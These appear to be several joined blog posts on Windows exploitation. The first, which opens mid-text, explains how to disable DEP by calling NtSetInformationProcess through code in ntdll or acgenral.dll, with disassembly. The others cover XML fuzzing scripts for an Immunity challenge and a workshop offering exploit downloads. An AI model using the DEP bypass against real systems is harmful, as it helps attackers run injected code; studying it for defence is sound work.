NtSetInformationProcess(-1, ProcessBasicInformation, &P_B_I, 0x018);

as you can see , first argument is process handle with PROCESS_SET_INFORMATION access and -1 id defined by windows for current process. second argument is entry of  ProcessInformationClass structure that we want to set , in this case is ProcessBasicInformation . third argument is pointer to modified/seted structure same as a second argument.and finally forth argument is size of second/third argument structure.for each entry of ProcessInformationClass in the NtSetInformationProcess is switch-case block for setting desire informations. for example for setting ProcessAffinityMask :

NTSTATUS WINAPI NtSetInformationProcess(
 IN HANDLE ProcessHandle,
 IN PROCESSINFOCLASS ProcessInformationClass,
 IN PVOID ProcessInformation,
 IN ULONG ProcessInformationLength)
{
 NTSTATUS ret = STATUS_SUCCESS;
 switch (ProcessInformationClass)
 {
[...]
 ProcessAffinityMask:
 if (ProcessInformationLength != sizeof(DWORD_PTR)) return STATUS_INVALID_PARAMETER;
 if (*(PDWORD_PTR)ProcessInformation & ~(((DWORD_PTR)1 << NtCurrentTeb()->Peb->NumberOfProcessors) - 1))
 return STATUS_INVALID_PARAMETER;
 SERVER_START_REQ( set_process_info )
 {
 req->handle   = wine_server_obj_handle( ProcessHandle );
 req->affinity = *(PDWORD_PTR)ProcessInformation;
 req->mask     = SET_PROCESS_INFO_AFFINITY;
 ret = win_server_call( req );
 }
 SERVER_END_REQ;
 break;
[...]

for us there is only one important entry in ProcessInformationClass structure and that is ProcessExecuteFlags. by using this entry in NtSetInfromationProcess() we can Enable/Disable DEP for specific process. DEP setting for a procees is defined in KEXECUTE_OPTIONS field of KPROCESS structure :

DISPATCHER_HEADER     Header                         /* 000 */
 LIST_ENTRY               ProfileListHead;             /* 010 */
 PHYSICAL_ADDRESS      DirectoryTableBase;        /* 018 */
 KGDTENTRY               LdtDescriptor;             /* 020 */
 KIDTENTRY                Int21Descriptor;           /* 028 */
 USHORT                IopmOffset;                /* 030 */
 UCHAR                 Iopl;                         /* 032 */
 UCHAR                 Unused;                     /* 033 */
 ULONG                 ActiveProcessors;          /* 034 */
 ULONG                 KernelTime;                /* 038 */
 ULONG                 UserTime;                  /* 03C */
 LIST_ENTRY            ReadyListHead;             /* 040 */
 SINGLE_LIST_ENTRY     SwapListEntry;             /* 048 */
 PVOID                 VdmTrapcHandler            /* 04C */
 LIST_ENTRY            ThreadListHead;            /* 050 */
 KSPIN_LOCK            ProcessLock;               /* 058 */
 KAFFINITY             Affinity;                  /* 05C */
 union {
 struct {
 ULONG         AutoAlignment:1;           /* 060.0 */
 ULONG         DisableBoost:1;            /* 060.1 */
 ULONG         DisableQuantum:1;          /* 060.2 */
 ULONG         ReservedFlags:29;          /* 060.3 */
 };
 ULONG             ProcessFlags;              /* 060 */
 };
 CHAR                  BasePriority;              /* 064 */
 CHAR                  QuantumReset;              /* 065 */
 UCHAR                 State;                     /* 066 */
 UCHAR                 ThreadSeed;                /* 067 */
 UCHAR                 PowerState;                /* 068 */
 UCHAR                 IdealNode;                 /* 069 */
 UCHAR                 Visited;                   /* 06A */
 KEXECUTE_OPTIONS      Flags;                     /* 06B */
 ULONG                 StackCount;                /* 06C */
 LIST_ENTRY            ProcessListEntry;          /* 070 */

KEXECUTE_OPTIONS contain 7 flag . 4 flag is used for DEP setting :

UCHAR ExecuteDisable:1;
 UCHAR ExecuteEnable:1;
 UCHAR DisableThunkEmulation:1;
 UCHAR Permanent:1;
 UCHAR ExecuteDispatchEnable:1;
 UCHAR ImageDispatchEnable:1;
 UCHAR Spare:2;

if DEP is Enable ExecuteDisable bit set by 1 . if DEP is Disable  ExecuteEnable option will set . if dep is configured as OptOut both ExecuteEnable and ExecuteDisable flags set to 1 and DEP is aslo Enable . there is one another  important flag , Permanent ! in windows Vista/2008/7 Microsoft take advantage of this bit to create a second layer protection against disabling DEP at runtime. in Visat/2008/7 when a program loaded for fist time this bit will set , if compatible , DEP enable and if not disable dep and set  Permanent flag so. if Permanent falg set for process we cannot change DEP policy at runtime . but in prior to Vista we can change dep setting at runtime by calling NtSetInformationProcess() . this macros are defined for changing DEP policy :

#define ProcessExecuteFlags 0x22
#define MEM_EXECUTE_OPTION_DISABLE   0x01
#define MEM_EXECUTE_OPTION_ENABLE    0x02
#define MEM_EXECUTE_OPTION_PERMANENT 0x08

we are familiar with ProcessExecuteFlag as before , it is a part of ProcessInformationClass . by using MEM_EXECUTE_OPTION_DISABLE DEP enable for a process and MEM_EXECUTE_OPTION_ENABLE will disable it.lets take look at this pseudo code and see how NtSetInformationProcess() disable DEP thru this flags :

[...]
case ProcessExecuteFlags:
 if (ProcessInformationLength != sizeof(ULONG))
 return STATUS_INVALID_PARAMETER;
 else if (execute_flags & MEM_EXECUTE_OPTION_PERMANENT)
 return STATUS_ACCESS_DENIED;
 else
 {
 BOOL enable;
 switch (*(ULONG *)ProcessInformation & (MEM_EXECUTE_OPTION_ENABLE|MEM_EXECUTE_OPTION_DISABLE))
 {
 case MEM_EXECUTE_OPTION_ENABLE:
 enable = TRUE;
 break;
 case MEM_EXECUTE_OPTION_DISABLE:
 enable = FALSE;
 break;
 default:
 return STATUS_INVALID_PARAMETER;
 }
 execute_flags = *(ULONG *)ProcessInformation;
[...]

now with this informations , we know calling NtSetInformationProcess() with this arguments , disable DEP for current process :

NtSetInformationProcess(-1, ProcessExecuteFlags, MEM_EXECUTE_OPTION_ENABLE, 0x4 )

this call will set  MEM_EXECUTE_OPTION_ENABLE option for ProcessExecuteFlags and therefore DEP will disable . but the question is how calling NtSetInformationProcess with this arguments ? as i said before , widows Operating System use LdrpCheckNXCompatibility() to check NX compatibility and if a process is not compatible it will disable DEP for that process at runtime. so this is the answer , we can use “code reuse” technique and changing program execution flow to a part of LdrpCheckNXCompatibility() that call NtSetInformationProcess() with desire options.lets take look at its code ( in ntdll.dll ) :

loc_7C936831:
push    4
lea     eax, [ebp+var_4]
push    eax
push    22h
push    0FFFFFFFFh
call    ZwSetInformationProcess
jmp     loc_7C91CD6D
; END OF FUNCTION CHUNK FOR sub_7C91CD11

for using this section of code you have to jump in upper section and execute thru  it till reach this section. i suggest you to read Skape paper about this technique and using ntdll.dll call to SetInformationProcess.there is another dll that call NtSetInformationProcess with DEP disable arguments , it is acgenral.dll :

loc_6F8917C2:
push    4
lea     eax, [ebp+arg_0]
push    eax
push    22h
push    0FFFFFFFFh
mov     [ebp+arg_0], 2
call    ds:NtSetInformationProcess

metasploit use this dll and codes to disable DEP for  ms08-67 vulnerability exploit code.you cannot ever jump to this dll , because it most loaded into process address space and it is not communal DLL .but attention if you use LdrpCheckNXCompatibility() (ntdll ) or avgenrall.dll for disabling DEP Set EBP to a writable address . because, as you can see both ntdll and acgenrall calls, use ebp and stack for storing one of NtSetInformationProcess() arguments . as you know at end of function and before RET instruction get execute we have pop ebp ( or simply leave ) instruction and if you corrupt stack of vulnerable function by junk date , you will change ebp value to a unknown address. and calling to NtSetInformationProcess() will fail .

have nice exploitation;) .

Reference :

1. React OS – reactos.org
2. Skape,  Bypassing Windows Hardware-enforced Data Execution Prevention - www.uninformed.org
3. WineHQ - www.winehq.org
4. Data Execution Prevention – wikipedia.org
5. Intel Manual – intel.com
6. ms08-67 Vulnerability Exploit Code – metasploit.com

At the beginning please accept my apologize for a long down-time in last month. our shared hosting had some security issues.

let’s dig into the subject…

If you’re subscriber in DailyDave mailling list, may be you remind 13th August that Nicolas Waisman from Immunity posted a challenge. After that, Me and Shahriyar(Snake) started to try out ourselves. we did some part time examination in 2 days and after that some projects stopped us from continuing!

In this small amount of time, I had some observation of this challenge executable in IDA ,  but decided to pass reversing part to snake and I concentrated on fuzzing section to find possible vulnerabilities!

I’m here to write down what i did, may be shahriyar do it too later.

Executable scheme in IDA Pro was a little confusing,  continuous jmp(s) and using TinyXML library made it a little confusing for newbie reverses such as me! Later it got easier when symbol included version released by nico.

Our main guess at first was that if something is overwriting , a loop is responsible for writing each characters of string into a buffer, so we searched for loops! not all loops, because we leave doing this incompletely!

next chance was to take a look for known/unkown TinyXML bugs! found a known bug in TinyXML bugtraq but it doesn’t trigger! so it was’nt useful either.

My next try was fuzzing! searched for available XML fuzzers and found just fuzzer, untidy ! because i thought regular file fuzzers and bit flipper won’t find bug in this situation!

I have written a simple script to make test cases out of default immunity.xml content with untidy !

import untidy
xmlString = """
<document>
    <entries>
 <book name="Immunity 1"/>
 <book name="Immunity 2"/>
    </entries>
</document>
"""

xf = untidy.xmlFuzzer()
xf.setRepetitions( [3,30,60] )
iter = xf.fuzz( xmlString )
counter = 0
for i in iter:
 ff = open('D:\\untidy-beta2\\untidy\\test-cases\\immunity-'+str(counter)+'.xml', 'w+')
 ff.write(i)
 ff.close()
 counter += 1

 

It made ~100000 test cases for me. it’s good to say I did some minor changes in fuzzer such as changing ‘A’ sequence to ‘H’ and ‘B’ for some triggery and anti A sequence reasons! somehow effective in some cases!

Now what I should do was reading each test cases -> saving each of these test cases content as immunity.xml beside immunity.exe -> running immunity.exe under debugger and detect possible faults!

for this process I did this:

import os
for i in range(1, 100000):
 print '=' * 80
 print 'test case number %d' % i                             
 print '-' * 80
 print 'openning source file'
 fopen = open('D:\\untidy-beta2\\untidy\\test-cases\\immunity-'+str(i)+'.xml', 'r')
 print 'opening target file'
 wopen = open('D:\\immunity\\immunity.xml', 'w')
 print 'writing source to target'
 for line in fopen:
  wopen.write(line)
 wopen.close()
 fopen.close()
 print 'executing immuinity.exe under debugger..'
 
 if os.system('crash.exe immunity.exe 500 ""') != 0:
  log = open('D:\\immunity\\error.log', 'a')
  log.write('error detected @ test case number: ' + i )
  log.close()
 print '=' * 80

I could do it with PyDBG or WinappDBG or anything else too, but It’s exactly what I did! Because it wasn’t successful, I googled for .XML documents, and concatenated a bunch of them as a test case and did the whole stages once more! ~210000 test cases and Unfortunately nothing!

It was my last chance to do tests on Immunity contest. A while later I read winner of the contest in another post at DailyDave mailinglist !

Then it made the idea of improving untidy while I was on a vacation! I”ve read the source code. All of untidy is placed in 2 files, fuzzingFunctions.py and untidy.py . almost half of untidy.py LOCs are about making a XML formatted string to a python list. _getFuzzFunctions() is a function that originally placed in fuzzingFunction.py and append name of enumerated fuzzing function ( that should start with ‘ff’ and then a number, uninterrupted by the way) to a list and then return to caller!

So, all that you need to do to improve untidy is to put your function in fuzzingFunction.py and recieve xmlItem and optionally repetitions and mangle or fuzz items and send them back!

It’s very bad that there is not many xml fuzzer out there, certainly there are many of xml fuzzers in non-public area! I did my improvement, added some function and now it’s working better! even added a function to trigger immunity contest way!

I’m not going to release this improvement now(may be later), but  it’s clear how to do it for everyone interested(have fun)!

though it wasn’t a successful case , but I earned some experiences and that was cool for me , thank nico

P. S. :  We at Snoop Security decided to set up an IRC server for Information Security guys to discuss,  we welcome everyone that is interested in!

server: snoop-security.com

port: 6667

channel: #SnoopSec

Links:

[1] Immunity Challenge: http://lists.immunitysec.com/pipermail/dailydave/2009-August/005849.html

[2] Immunity Challege + Symbols: http://lists.immunitysec.com/pipermail/dailydave/2009-August/005864.html

[3] untidy XML fuzzer: http://untidy.sourceforge.net/

[4] Immunity Challenge Result: http://lists.immunitysec.com/pipermail/dailydave/2009-September/005889.html

In june-9-2009  i had a  presentation and workshop about defeating windows memory protections at 1st Iranian Conference on Cyberspace Security Incidents and Vulnerabilities ( IR CERT ) . in that training i introduce Iranian security professionals how operation systems protect users against software vulnerabilities .i discuss about software security flaws such as Stack/Heap base buffer overflow,Format string ,etc … .then i explained how they happen an how an attacker can abuse this vulnerabilities.after that ,we take look at OS protection mechanisms and how we can use of those weaknesses to defeating some of OS PM . discussed protections are :

• Guard Stack ( a.k.a /GS )
  Data Execution Prevention ( a.k.a DEP or /NXCOMPAT )
  Safe SEH Table ( a.k.a /SafeSEH )
  SEH Overwrite Protection ( a.k.a SEHOP )
  Address Space Layout Randomization ( a.k.a ASLR or /DYNAMICBASE )

all the exploits tested on  Microsoft Windows XP Professional  5.1.2600 Service Pack 3 Build 2600 and one on  Microsoft® Windows Vista™ UltimateVersion 6.0.6001 Service Pack 1 Build 6001 , so i think it will work on you box , just change the ret addr .
btw, you can download slides and sploits that i wrote and used in workshop from here : Slides,Sploit.

/* forgive me for my horrible english
if you find any mistake or any question, just mail me  :)
have good exploitation ( Shahriyar Jalayeri a.k.a Snake ) */